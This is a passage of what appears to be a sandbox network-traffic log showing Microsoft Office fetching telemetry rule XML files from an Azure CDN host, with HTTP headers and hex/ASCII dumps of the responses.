EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.4	49874	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:20 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:20 UTC	517	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:20 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: c92207e3-c01e-0034-6767-2a2af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102820Z-159b85dff8fprglthC1DFW8zcg00000001ag00000000056r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:20 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.4	49873	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:20 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:20 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:20 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 44c445c3-601e-003e-0f9c-273248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102820Z-15b8d89586fxdh48ft0acdbg44000000038g000000002pnb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:20 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.4	49875	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:20 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:20 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:20 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: bf9f7dfd-f01e-0052-0a98-2a9224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102820Z-15b8d89586fzcfbd8we4bvhqds00000004bg000000005722 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:20 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.4	49876	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:20 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:20 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:20 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 5c4d015b-701e-0097-6b71-28b8c1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102820Z-15b8d89586fst84kttks1s2css00000003300000000056we x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:20 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.4	49877	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:20 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:20 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:20 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 68df6217-401e-0029-6d9c-279b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102820Z-16849878b78smng4k6nq15r6s40000000aw000000000a5wp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:20 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.4	49878	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:21 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:21 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:21 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 4113dc96-c01e-008e-5a2a-277381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102821Z-16849878b78q9m8bqvwuva4svc00000007wg00000000acut x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:21 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.4	49879	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:21 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:21 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:21 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 07be293a-201e-00aa-396b-2b3928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102821Z-17c5cb586f6f98jx9q4y7udcaw00000000xg000000007cev x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:21 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.4	49880	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:21 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:21 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:21 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: 9b485842-301e-0096-2f9c-27e71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102821Z-15b8d89586fqj7k5h9gbd8vs980000000ang000000003nut x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:21 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.4	49881	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:21 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:21 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:21 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: c91dfad3-401e-0015-1dd2-2a0e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102821Z-17c5cb586f6wnfhvhw6gvetfh4000000090g0000000025r7 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:21 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.4	49882	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:21 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:21 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:21 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 338a3e6d-c01e-0079-709c-27e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102821Z-16849878b78km6fmmkbenhx76n00000008n000000000ebnz x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:21 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.4	49883	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:22 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:22 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:22 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: a9595a72-801e-0015-2bad-26f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102822Z-16849878b786lft2mu9uftf3y40000000ah000000000dzgt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:22 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.4	49884	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:22 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
